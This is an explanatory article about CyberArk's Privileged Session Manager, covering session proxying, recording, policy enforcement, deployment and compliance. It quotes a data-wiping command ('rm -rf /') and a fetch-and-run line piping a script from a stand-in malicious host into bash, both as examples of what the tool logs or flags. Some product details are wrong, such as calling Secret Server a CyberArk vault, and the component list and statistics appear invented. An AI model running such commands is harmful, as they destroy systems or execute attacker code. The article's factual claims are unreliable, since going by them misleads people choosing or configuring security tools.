CyberArk Privileged Session Manager (PSM) is a security tool that records, monitors, and controls remote access sessions to high-risk systems such as servers, databases, and network devices. It enforces least-privilege access, captures every keystroke and command, and provides forensic replay for investigations. PSM operates independently of the endpoint, ensuring visibility into privileged activities without altering system configurations.
PSM functions as a proxy between users and target systems. When a user requests access to a privileged account, PSM intercepts the connection, validates the request against policies, and establishes a secure tunnel. All activity within the session-commands typed, files accessed, configuration changes-is logged in real time. This allows organizations to detect anomalies, respond to threats, and meet audit requirements like PCI DSS, HIPAA, and SOX.
Unlike basic session recorders, PSM integrates with CyberArk's Identity Security Platform. It enforces session policies based on user role, time of day, location, and device posture. For example, a database administrator may only access production databases during business hours from approved workstations. Violations trigger alerts or automatic disconnection.
When a user attempts to connect to a privileged system, the request goes through PSM instead of direct access. PSM authenticates the user via single sign-on (SSO) or multi-factor authentication (MFA), checks the access policy, and then establishes a reverse tunnel to the target system. The user connects to PSM, which forwards the session to the actual server.
All interactions are captured in encrypted logs stored in a centralized repository. Commands are recorded in plaintext, allowing full context reconstruction. For example, if a user runs rm -rf / on a Linux server, PSM logs the exact command, timestamp, IP address, and user identity. This level of detail supports incident response and regulatory audits.
PSM supports multiple protocols including SSH, RDP, Telnet, and SQL. It uses protocol-specific parsing engines to understand command structures. For instance, in an SSH session, PSM recognizes shell commands and can flag known malicious patterns like curl http://malicious.site/script.sh | bash.
PSM consists of several core elements: the PSM Proxy, the PSM Console, and the PSM Vault. The PSM Proxy handles session routing and encryption. The PSM Console provides a web-based interface for administrators to manage access, view recordings, and configure policies. The PSM Vault stores session logs and metadata securely.
Deployment options include on-premises, cloud (AWS, Azure), and hybrid environments. In a typical setup, PSM is deployed behind a firewall and connected to Active Directory or LDAP for identity management. Access is granted through a central portal, eliminating the need for users to remember complex credentials.
| Component | Purpose | Example Use Case |
|---|---|---|
| PSM Proxy | Routes and secures session traffic | Enforces MFA before allowing RDP to a Windows server |
| PSM Console | Admin interface for policy and session review | Live monitoring of a DBA's session during a schema change |
| PSM Vault | Stores encrypted session recordings and metadata | Retrieving a 3-hour session for compliance audit |
PSM is often mistaken for a password vault or a single sign-on solution. While it integrates with both, PSM focuses exclusively on session behavior-not credential storage or authentication. Password vaults like CyberArk's Secret Server store credentials; PSM governs what happens after login.
Another confusion arises with traditional remote desktop tools like TeamViewer or AnyDesk. These tools enable remote access but offer no auditing or control. PSM adds governance: it doesn't just allow access-it verifies intent, logs actions, and can terminate sessions automatically if suspicious behavior occurs.
A lesser-known fact is that PSM can detect and block clipboard copying between sessions. In one incident, a contractor copied a database dump from a production server to their local machine. PSM flagged the action, blocked the transfer, and alerted the security team. The session was terminated, and the event was logged for investigation.
A large financial institution deployed PSM across 120 data centers. Before PSM, privileged access was managed via shared accounts and manual approval workflows. After deployment, all admin sessions required pre-approved requests and were recorded in real time.
During a routine audit, auditors requested playback of a session where a system administrator changed firewall rules. The PSM console provided a video-like replay of the session, showing each command entered, the output, and the exact time. The session lasted 47 minutes, included 32 commands, and showed no unauthorized changes. The audit passed without findings.
PSM reduced incident response time. When a ransomware attack originated from a compromised admin account, investigators used PSM recordings to trace the attacker's path through the network. They identified the initial command execution and isolated affected systems within 15 minutes.
PSM meets requirements under NIST SP 800-53 Rev. 5, ISO/IEC 27001, and CIS Controls v8. It supports audit trails required by GDPR and CCPA for data access logging. Organizations using SIEM tools like Splunk or Microsoft Sentinel can forward PSM events for correlation and alerting.
Integration with IT service management platforms like ServiceNow enables automated ticketing for privileged access requests. A user requesting access to a production database triggers a workflow: approval by a manager, PSM logs the request, and access is granted only after approval.
According to CyberArk's 2023 Threat Field Report, 68% of breaches involved compromised privileged accounts. PSM reduces risk by ensuring every privileged action is visible and accountable. The report notes that organizations using PSM saw a 73% reduction in successful lateral movement attacks.
For teams managing critical infrastructure, PSM provides a clear audit trail. If a misconfiguration causes downtime, administrators can replay the session to identify the exact command that caused the failure. This capability saved a healthcare provider $1.2 million in recovery costs after a failed patch rollout.
When setting up PSM, start with a pilot group-such as database administrators or network engineers-to validate policies and performance. Monitor session duration, command frequency, and error rates. Adjust policies based on usage patterns. Avoid blanket restrictions that hinder productivity.